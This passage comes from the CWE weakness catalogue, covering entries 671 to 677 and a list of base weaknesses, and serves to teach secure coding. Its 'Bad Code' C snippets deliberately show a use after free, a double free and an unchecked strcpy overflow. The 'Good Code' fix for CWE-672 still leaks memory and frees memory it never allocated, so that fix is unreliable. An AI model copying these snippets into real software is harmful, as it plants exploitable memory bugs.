ParentOf		480	Use of Incorrect Operator	1000	809
ParentOf		483	Incorrect Block Delimitation	1000	815
ParentOf		484	Omitted Break Statement in Switch	1000	817
ParentOf		617	Reachable Assertion	1000	964
ParentOf		698	Execution After Redirect (EAR)	1000	1079
ParentOf		783	Operator Precedence Logic Error	1000	1200

### Maintenance Notes

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

## CWE-671: Lack of Administrator Control over Security

Weakness ID: 671 (Weakness Class)

Status: Draft

### Description

#### Summary

The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.

#### Extended Description

If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.

#### Time of Introduction





- Architecture and Design
- Implementation

### Common Consequences

Other

Varies by context

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		657	Violation of Secure Design Principles	699 1000	1017
ChildOf		975	SFP Secondary Cluster: Architecture	888	1382
ParentOf		447	Unimplemented or Unsupported Feature in UI	1000	760
ParentOf		798	Use of Hard-coded Credentials	1000	1219

### Relevant Properties

- Accessibility



# CWE-672: Operation on a Resource after Expiration or Release

Weakness ID: 672 (Weakness Base)

Status: Draft

## Description

### Summary

The software uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application

### Common Consequences

#### Integrity

#### Confidentiality

#### Modify application data

#### Read application data

If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.

#### Other

#### Availability

#### Other

#### DoS: crash / exit / restart

When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.

### Demonstrative Examples

#### Example 1:

The following code shows a simple example of a use after free error:

#### C Example:

Bad Code

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

#### Example 2:

The following code shows a simple example of a double free error:

#### C Example:

Bad Code

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
```



```
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances

- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files.

Programmers seem particularly susceptible to freeing global variables more than once.

### Example 3:

In the following C/C++ example the method `processMessage` is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, `messageBody`, to be created for the message body. The `messageBody` is processed in the method `processMessageBody` that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the `messageBody` char array memory is released using the method `free` and an error message is sent to the `logError` method.

#### C/C++ Example:

*Bad Code*

```
#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32
int processMessage(char **message)
{
    int result = SUCCESS;
    int length = getMessageLength(message[0]);
    char *messageBody;
    if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {
        messageBody = (char*)malloc(length*sizeof(char));
        messageBody = &message[1][0];
        int success = processMessageBody(messageBody);
        if (success == ERROR) {
            result = ERROR;
            free(messageBody);
        }
    }
    else {
        printf("Unable to process message; invalid message length");
        result = FAIL;
    }
    if (result == ERROR) {
        logError("Error processing message", messageBody);
    }
    return result;
}
```

However, the call to the method `logError` includes the `messageBody` after the memory for `messageBody` has been released using the `free` method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

#### C/C++ Example:

*Good Code*

```
...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];
int success = processMessageBody(messageBody);
if (success == ERROR) {
    result = ERROR;
    logError("Error processing message", messageBody);
    free(messageBody);
}
...
```

**Observed Examples**

Reference	Description
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	361	Time and State	<b>699</b>	626
ChildOf	<b>B</b>	666	Operation on Resource in Wrong Phase of Lifetime	<b>1000</b>	1031
ChildOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	<b>800</b>	1244
ChildOf	<b>C</b>	983	SFP Secondary Cluster: Faulty Resource Use	<b>888</b>	1385
ParentOf	<b>V</b>	298	<i>Improper Validation of Certificate Expiration</i>	1000	527
ParentOf	<b>B</b>	324	<i>Use of a Key Past its Expiration Date</i>	1000	569
ParentOf	<b>B</b>	562	<i>Return of Stack Variable Address</i>	1000	898
ParentOf	<b>B</b>	613	<i>Insufficient Session Expiration</i>	1000	960
ParentOf	<b>B</b>	825	<i>Expired Pointer Dereference</i>	699	1255
				1000	
CanFollow	<b>B</b>	826	<i>Premature Release of Resource During Expected Lifetime</i>	1000	1257
MemberOf	<b>V</b>	884	<i>CWE Cross-section</i>	<b>884</b>	1319
ParentOf	<b>B</b>	910	<i>Use of Expired File Descriptor</i>	1000	1334
CanFollow	<b>B</b>	911	<i>Improper Update of Reference Count</i>	1000	1335

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP15	Faulty Resource Use

**CWE-673: External Influence of Sphere Definition**

Weakness ID: 673 (Weakness Class)

Status: Draft

**Description****Summary**

The product does not prevent the definition of control spheres from external actors.

**Extended Description**

Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences****Other****Other****Demonstrative Examples****Example 1:**





Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

**Example 2:**

In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who

installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		361	Time and State	<b>699</b>	626
ChildOf		664	Improper Control of a Resource Through its Lifetime	<b>1000</b>	1026
ChildOf		991	SFP Secondary Cluster: Tainted Input to Environment	<b>888</b>	1390
ParentOf		426	Untrusted Search Path	1000	729

### Theoretical Notes

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

### Relevant Properties

- Mutability

## CWE-674: Uncontrolled Recursion

Weakness ID: 674 (Weakness Base)

Status: Draft

### Description

#### Summary

The product does not properly control the amount of recursion that takes place, which consumes excessive resources, such as allocated memory or the program stack.

### Alternate Terms

#### Stack Exhaustion

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Availability

#### DoS: resource consumption (CPU)

#### DoS: resource consumption (memory)

Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.

#### Confidentiality

#### Read application data

In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's memory\_limit setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.

### Observed Examples

Reference	Description
CVE-2007-1285	Deeply nested arrays trigger stack exhaustion.
CVE-2007-3409	Self-referencing pointers create infinite loop and resultant stack exhaustion.

### Potential Mitigations

#### Implementation

Limit the number of recursive calls to a reasonable number.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	699	626
ChildOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1120
ChildOf	B	834	Excessive Iteration	1000	1272
ChildOf	C	985	SFP Secondary Cluster: Unrestricted Consumption	888	1386
ParentOf	V	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	699	1190
MemberOf	V	884	CWE Cross-section	884	1319

## Affected Resources

- CPU

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
Software Fault Patterns	SFP13		Unrestricted Consumption

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
82	Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))	
99	XML Parser Attack	
230	XML Nested Payloads	
231	XML Oversized Payloads	

## CWE-675: Duplicate Operations on Resource

Weakness ID: 675 (Weakness Class)

Status: Draft

## Description

## Summary

The product performs the same operation on a resource two or more times, when the operation should only be applied once.

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- All

## Common Consequences

## Other

## Other

## Relationships

Nature	Type	ID	Name	V	Page
PeerOf	V	102	Struts: Duplicate Validation Forms	1000	193
PeerOf	C	227	Improper Fulfillment of API Contract ('API Abuse')	1000	418
ChildOf	C	573	Improper Following of Specification by Caller	1000	910
PeerOf	V	586	Explicit Call to Finalize()	1000	926
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1315
ChildOf	C	984	SFP Secondary Cluster: Life Cycle	888	1386
PeerOf	V	85	Doubled Character XSS Manipulations	1000	151
ParentOf	V	174	Double Decoding of the Same Data	1000	336
ParentOf	V	415	Double Free	1000	716
ParentOf	B	605	Multiple Binds to the Same Port	1000	951
ParentOf	V	764	Multiple Locks of a Critical Resource	1000	1168
ParentOf	V	765	Multiple Unlocks of a Critical Resource	1000	1169

## Relationship Notes

This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).

### Relevant Properties

- Uniqueness

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	FIO31-C	Do not simultaneously open the same file multiple times
CERT C++ Secure Coding	FIO31-CPP	Do not simultaneously open the same file multiple times

## CWE-676: Use of Potentially Dangerous Function

Weakness ID: 676 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The program invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

#### Languages

- C
- C++

#### Common Consequences

##### Other

##### Varies by context

##### Quality degradation

##### Unexpected state

If the function is used incorrectly, then it could result in security problems.

#### Likelihood of Exploit

High

#### Detection Methods

##### Automated Static Analysis - Binary / Bytecode

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

Binary / Bytecode Quality Analysis

Binary / Bytecode simple extractor – strings, ELF readers, etc.

##### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with manual results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Debugger

Cost effective for partial coverage:

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Warning Flags

Source Code Quality Analyzer

**Automated Static Analysis****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Origin Analysis

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples**

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

**C Example:***Bad Code*

```
void manipulate_string(char * string){
    char buf[24];
    strcpy(buf, string);
    ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

**Observed Examples**

Reference	Description
CVE-2006-0963	Buffer overflow using strcpy()
CVE-2006-2114	Buffer overflow using strcpy()

Reference	Description
CVE-2007-1470	Library has multiple buffer overflows using sprintf() and strcpy()
CVE-2008-5005	Buffer overflow using strcpy()
CVE-2009-3849	Buffer overflow using strcat()
CVE-2011-0712	Vulnerable use of strcpy() changed to use safer strncpy()

## Potential Mitigations

### Build and Compilation

#### Implementation

Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [R.676.1] [R.676.2]

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		398	Indicator of Poor Code Quality	<b>699</b> <b>1000</b>	684
ChildOf		738	CERT C Secure Coding Section 04 - Integers (INT)	<b>734</b>	1132
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1135
ChildOf		746	CERT C Secure Coding Section 12 - Error Handling (ERR)	734	1136
ChildOf		865	2011 Top 25 - Risky Resource Management	<b>900</b>	1309
ChildOf		872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	1313
ChildOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	<b>868</b>	1315
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	<b>888</b>	1403
ParentOf		785	Use of Path Manipulation Function without Maximum-sized Buffer	<b>1000</b>	1204
MemberOf		884	CWE Cross-section	<b>884</b>	1319

## Relationship Notes

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

## Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Dangerous Functions
CERT C Secure Coding	ERR07-C	Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	FIO01-C	Be careful using functions that use file names for identification
CERT C Secure Coding	INT06-C	Use strtol() or a related function to convert a string token to an integer
CERT C++ Secure Coding	INT06-CPP	Use strtol() or a related function to convert a string token to an integer
CERT C++ Secure Coding	FIO01-CPP	Be careful using functions that use file names for identification
Software Fault Patterns	SFP3	Use of an improper API

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
113	API Abuse/Misuse	



## References

- Michael Howard. "Security Development Lifecycle (SDL) Banned Function Calls". < <http://msdn.microsoft.com/en-us/library/bb288454.aspx> >.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Safe String Handling" Page 156, 160. 2nd Edition. Microsoft. 2002.
- [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C String Handling", Page 388.. 1st Edition. Addison Wesley. 2006.

# CWE-677: Weakness Base Elements

**View ID:** 677 (View: *Implicit Slice*)

**Status:** Draft

## Objective

This view (slice) displays only weakness base elements.

## View Data

### Filter Used:

./@Weakness\_Abstraction='Base'

### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>338</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	0	out of	244
<b>Weaknesses</b>	338	out of	719
<b>Compound_Elements</b>	0	out of	8

## CWEs Included in this View

Type	ID	Name
B	14	Compiler Removal of Code to Clear Buffers
B	15	External Control of System or Configuration Setting
B	23	Relative Path Traversal
B	36	Absolute Path Traversal
B	41	Improper Resolution of Path Equivalence
B	59	Improper Link Resolution Before File Access ('Link Following')
B	66	Improper Handling of File Names that Identify Virtual Resources
B	76	Improper Neutralization of Equivalent Special Elements
B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
B	88	Argument Injection or Modification
B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
B	91	XML Injection (aka Blind XPath Injection)
N	92	DEPRECATED: Improper Sanitization of Custom Special Characters
B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')
B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
B	99	Improper Control of Resource Identifiers ('Resource Injection')
B	111	Direct Use of Unsafe JNI
B	112	Missing XML Validation
B	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
B	114	Process Control
B	115	Misinterpretation of Input
B	117	Improper Output Neutralization for Logs

Type	ID	Name
B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
B	123	Write-what-where Condition
B	124	Buffer Underwrite ('Buffer Underflow')
B	125	Out-of-bounds Read
B	128	Wrap-around Error
B	129	Improper Validation of Array Index
B	131	Incorrect Calculation of Buffer Size
N	132	DEPRECATED (Duplicate): Miscalculated Null Termination
B	134	Uncontrolled Format String
B	135	Incorrect Calculation of Multi-Byte String Length
B	140	Improper Neutralization of Delimiters
B	166	Improper Handling of Missing Special Element
B	167	Improper Handling of Additional Special Element
B	168	Improper Handling of Inconsistent Special Elements
B	170	Improper Null Termination
B	178	Improper Handling of Case Sensitivity
B	179	Incorrect Behavior Order: Early Validation
B	180	Incorrect Behavior Order: Validate Before Canonicalize
B	181	Incorrect Behavior Order: Validate Before Filter
B	182	Collapse of Data into Unsafe Value
B	183	Permissive Whitelist
B	184	Incomplete Blacklist
B	186	Overly Restrictive Regular Expression
B	187	Partial Comparison
B	188	Reliance on Data/Memory Layout
B	190	Integer Overflow or Wraparound
B	191	Integer Underflow (Wrap or Wraparound)
B	193	Off-by-one Error
B	194	Unexpected Sign Extension
B	197	Numeric Truncation Error
B	198	Use of Incorrect Byte Ordering
B	204	Response Discrepancy Information Exposure
B	205	Information Exposure Through Behavioral Discrepancy
B	208	Information Exposure Through Timing Discrepancy
B	209	Information Exposure Through an Error Message
B	210	Information Exposure Through Self-generated Error Message
B	211	Information Exposure Through Externally-generated Error Message
B	212	Improper Cross-boundary Removal of Sensitive Data
B	213	Intentional Information Exposure
N	217	DEPRECATED: Failure to Protect Stored Data from Modification
N	218	DEPRECATED (Duplicate): Failure to provide confidentiality for stored data
B	222	Truncation of Security-relevant Information
B	223	Omission of Security-relevant Information
B	224	Obscured Security-relevant Information by Alternate Name
N	225	DEPRECATED (Duplicate): General Information Management Problems
B	226	Sensitive Information Uncleared Before Release
B	229	Improper Handling of Values
B	233	Improper Handling of Parameters
B	237	Improper Handling of Structural Elements
B	241	Improper Handling of Unexpected Data Type
B	242	Use of Inherently Dangerous Function

Type	ID	Name
Ⓝ	247	DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision
Ⓑ	248	Uncaught Exception
Ⓑ	252	Unchecked Return Value
Ⓑ	253	Incorrect Check of Function Return Value
Ⓑ	257	Storing Passwords in a Recoverable Format
Ⓑ	259	Use of Hard-coded Password
Ⓑ	263	Password Aging with Long Expiration
Ⓑ	266	Incorrect Privilege Assignment
Ⓑ	267	Privilege Defined With Unsafe Actions
Ⓑ	268	Privilege Chaining
Ⓑ	269	Improper Privilege Management
Ⓑ	270	Privilege Context Switching Error
Ⓑ	272	Least Privilege Violation
Ⓑ	273	Improper Check for Dropped Privileges
Ⓑ	274	Improper Handling of Insufficient Privileges
Ⓑ	280	Improper Handling of Insufficient Permissions or Privileges
Ⓑ	281	Improper Preservation of Permissions
Ⓑ	283	Unverified Ownership
Ⓑ	288	Authentication Bypass Using an Alternate Path or Channel
Ⓑ	290	Authentication Bypass by Spoofing
Ⓑ	294	Authentication Bypass by Capture-replay
Ⓑ	295	Improper Certificate Validation
Ⓑ	296	Improper Following of a Certificate's Chain of Trust
Ⓑ	303	Incorrect Implementation of Authentication Algorithm
Ⓑ	304	Missing Critical Step in Authentication
Ⓑ	305	Authentication Bypass by Primary Weakness
Ⓑ	307	Improper Restriction of Excessive Authentication Attempts
Ⓑ	308	Use of Single-factor Authentication
Ⓑ	309	Use of Password System for Primary Authentication
Ⓑ	311	Missing Encryption of Sensitive Data
Ⓑ	312	Cleartext Storage of Sensitive Information
Ⓑ	319	Cleartext Transmission of Sensitive Information
Ⓑ	321	Use of Hard-coded Cryptographic Key
Ⓑ	322	Key Exchange without Entity Authentication
Ⓑ	323	Reusing a Nonce, Key Pair in Encryption
Ⓑ	324	Use of a Key Past its Expiration Date
Ⓑ	325	Missing Required Cryptographic Step
Ⓑ	327	Use of a Broken or Risky Cryptographic Algorithm
Ⓑ	328	Reversible One-Way Hash
Ⓑ	331	Insufficient Entropy
Ⓑ	334	Small Space of Random Values
Ⓑ	336	Same Seed in PRNG
Ⓑ	337	Predictable Seed in PRNG
Ⓑ	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
Ⓑ	339	Small Seed Space in PRNG
Ⓑ	341	Predictable from Observable State
Ⓑ	342	Predictable Exact Value from Previous Values
Ⓑ	343	Predictable Value Range from Previous Values
Ⓑ	344	Use of Invariant Value in Dynamically Changing Context
Ⓑ	346	Origin Validation Error
Ⓑ	347	Improper Verification of Cryptographic Signature

Type	ID	Name
B	348	Use of Less Trusted Source
B	349	Acceptance of Extraneous Untrusted Data With Trusted Data
B	351	Insufficient Type Distinction
B	353	Missing Support for Integrity Check
B	354	Improper Validation of Integrity Check Value
B	356	Product UI does not Warn User of Unsafe Actions
B	357	Insufficient UI Warning of Dangerous Operations
B	358	Improperly Implemented Security Check for Standard
B	360	Trust of System Event Data
B	363	Race Condition Enabling Link Following
B	364	Signal Handler Race Condition
B	365	Race Condition in Switch
B	366	Race Condition within a Thread
B	367	Time-of-check Time-of-use (TOCTOU) Race Condition
B	368	Context Switching Race Condition
B	369	Divide By Zero
B	370	Missing Check for Certificate Revocation after Initial Check
B	372	Incomplete Internal State Distinction
N	373	DEPRECATED: State Synchronization Error
B	374	Passing Mutable Objects to an Untrusted Method
B	375	Returning a Mutable Object to an Untrusted Caller
B	377	Insecure Temporary File
B	378	Creation of Temporary File With Insecure Permissions
B	379	Creation of Temporary File in Directory with Incorrect Permissions
B	385	Covert Timing Channel
B	386	Symbolic Name not Mapping to Correct Object
B	391	Unchecked Error Condition
B	392	Missing Report of Error Condition
B	393	Return of Wrong Status Code
B	394	Unexpected Status Code or Return Value
B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference
B	396	Declaration of Catch for Generic Exception
B	397	Declaration of Throws for Generic Exception
B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')
B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')
B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')
B	404	Improper Resource Shutdown or Release
B	406	Insufficient Control of Network Message Volume (Network Amplification)
B	407	Algorithmic Complexity
B	408	Incorrect Behavior Order: Early Amplification
B	409	Improper Handling of Highly Compressed Data (Data Amplification)
B	410	Insufficient Resource Pool
B	412	Unrestricted Externally Accessible Lock
B	413	Improper Resource Locking
B	414	Missing Lock Check
B	416	Use After Free
B	419	Unprotected Primary Channel
B	420	Unprotected Alternate Channel
B	421	Race Condition During Access to Alternate Channel
N	423	DEPRECATED (Duplicate): Proxied Trusted Channel
B	425	Direct Request ('Forced Browsing')

Type	ID	Name
B	427	Uncontrolled Search Path Element
B	428	Unquoted Search Path or Element
B	430	Deployment of Wrong Handler
B	431	Missing Handler
B	432	Dangerous Signal Handler not Disabled During Sensitive Operations
B	434	Unrestricted Upload of File with Dangerous Type
B	436	Interpretation Conflict
B	437	Incomplete Model of Endpoint Features
B	439	Behavioral Change in New Version or Environment
B	440	Expected Behavior Violation
N	443	DEPRECATED (Duplicate): HTTP response splitting
B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')
B	446	UI Discrepancy for Security Feature
B	447	Unimplemented or Unsupported Feature in UI
B	448	Obsolete Feature in UI
B	449	The UI Performs the Wrong Action
B	450	Multiple Interpretations of UI Input
B	451	User Interface (UI) Misrepresentation of Critical Information
B	453	Insecure Default Variable Initialization
B	454	External Initialization of Trusted Variables or Data Stores
B	455	Non-exit on Failed Initialization
B	456	Missing Initialization of a Variable
N	458	DEPRECATED: Incorrect Initialization
B	459	Incomplete Cleanup
B	462	Duplicate Key in Associative List (Alist)
B	463	Deletion of Data Structure Sentinel
B	464	Addition of Data Structure Sentinel
B	466	Return of Pointer Value Outside of Expected Range
B	468	Incorrect Pointer Scaling
B	469	Use of Pointer Subtraction to Determine Size
B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
B	471	Modification of Assumed-Immutable Data (MAID)
B	472	External Control of Assumed-Immutable Web Parameter
B	474	Use of Function with Inconsistent Implementations
B	475	Undefined Behavior for Input to API
B	476	NULL Pointer Dereference
B	477	Use of Obsolete Functions
B	480	Use of Incorrect Operator
B	484	Omitted Break Statement in Switch
B	489	Leftover Debug Code
B	494	Download of Code Without Integrity Check
B	501	Trust Boundary Violation
B	507	Trojan Horse
B	508	Non-Replicating Malicious Code
B	509	Replicating Malicious Code (Virus or Worm)
B	510	Trapdoor
B	511	Logic/Time Bomb
B	512	Spyware
B	515	Covert Storage Channel
N	516	DEPRECATED (Duplicate): Covert Timing Channel
B	521	Weak Password Requirements

Type	ID	Name
B	522	Insufficiently Protected Credentials
B	538	File and Directory Information Exposure
B	544	Missing Standardized Error Handling Mechanism
B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
B	552	Files or Directories Accessible to External Parties
B	562	Return of Stack Variable Address
B	565	Reliance on Cookies without Validation and Integrity Checking
B	567	Unsynchronized Access to Shared Data in a Multithreaded Context
B	581	Object Model Violation: Just One of Equals and Hashcode Defined
B	584	Return Inside Finally Block
B	587	Assignment of a Fixed Address to a Pointer
B	595	Comparison of Object References Instead of Object Contents
B	596	Incorrect Semantic Object Comparison
B	600	Uncaught Exception in Servlet
B	602	Client-Side Enforcement of Server-Side Security
B	603	Use of Client-Side Authentication
B	605	Multiple Binds to the Same Port
B	606	Unchecked Input for Loop Condition
B	609	Double-Checked Locking
B	613	Insufficient Session Expiration
B	618	Exposed Unsafe ActiveX Method
B	619	Dangling Database Cursor ('Cursor Injection')
B	621	Variable Extraction Error
B	624	Executable Regular Expression Error
B	625	Permissive Regular Expression
B	627	Dynamic Variable Evaluation
B	628	Function Call with Incorrectly Specified Arguments
B	639	Authorization Bypass Through User-Controlled Key
B	640	Weak Password Recovery Mechanism for Forgotten Password
B	641	Improper Restriction of Names for Files and Other Resources
B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')
B	645	Overly Restrictive Account Lockout Mechanism
B	648	Incorrect Use of Privileged APIs
B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking
B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
B	653	Insufficient Compartmentalization
B	654	Reliance on a Single Factor in a Security Decision
B	655	Insufficient Psychological Acceptability
B	656	Reliance on Security Through Obscurity
B	662	Improper Synchronization
B	663	Use of a Non-reentrant Function in a Concurrent Context
B	665	Improper Initialization
B	666	Operation on Resource in Wrong Phase of Lifetime
B	667	Improper Locking
B	672	Operation on a Resource after Expiration or Release
B	674	Uncontrolled Recursion
B	676	Use of Potentially Dangerous Function
B	681	Incorrect Conversion between Numeric Types
B	684	Incorrect Provision of Specified Functionality
B	694	Use of Multiple Resources with Duplicate Identifier



Type	ID	Name
B	695	Use of Low-Level Functionality
B	698	Execution After Redirect (EAR)
B	708	Incorrect Ownership Assignment
B	733	Compiler Optimization Removal or Modification of Security-critical Code
B	749	Exposed Dangerous Method or Function
B	759	Use of a One-Way Hash without a Salt
B	760	Use of a One-Way Hash with a Predictable Salt
B	763	Release of Invalid Pointer or Reference
B	770	Allocation of Resources Without Limits or Throttling
B	771	Missing Reference to Active Allocated Resource
B	772	Missing Release of Resource after Effective Lifetime
B	778	Insufficient Logging
B	779	Logging of Excessive Data
B	786	Access of Memory Location Before Start of Buffer
B	787	Out-of-bounds Write
B	788	Access of Memory Location After End of Buffer
